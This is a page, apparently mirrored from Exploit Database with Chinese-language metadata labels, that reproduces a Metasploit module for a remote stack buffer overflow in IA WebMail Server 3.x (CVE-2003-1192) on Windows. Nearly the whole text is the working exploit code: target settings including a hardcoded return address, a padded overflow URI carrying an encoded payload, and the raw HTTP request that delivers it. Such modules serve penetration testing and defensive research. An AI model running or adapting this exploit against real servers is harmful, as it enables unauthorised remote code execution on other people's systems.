IA WebMail Server 3.x – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16767/

• ##
  # $Id: ia_webmail.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'IA WebMail 3.x Buffer Overflow',
  			'Description'=> %q{
  					This exploits a stack buffer overflow in the IA WebMail server.
  				This exploit has not been tested against a live system at
  				this time.
  			},
  			'Author' => [ 'hdm' ],
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2003-1192'],
  					[ 'OSVDB', '2757'],
  					[ 'BID', '8965'],
  					[ 'URL', 'http://www.k-otik.net/exploits/11.19.iawebmail.pl.php'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space' => 1024,
  					'DisableNops' => true,
  					'BadChars'=> "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[
  						'IA WebMail 3.x',
  						{
  							'Ret'=> 0x1002bd33,
  							'Length' => 1036
  						},
  					]
  				],
  			'DisclosureDate' => 'Nov 3 2003',
  			'DefaultTarget'=> 0))
  	end
  
  	def exploit
  		print_status("Sending request...")
  
  		send_request_raw({
  			'uri' =>
  				"/" + ("o" * target['Length']) +
  				"META" +
  				[target.ret].pack('V') +
  				payload.encoded
  		}, 2)
  
  		handler
  	end
  
  end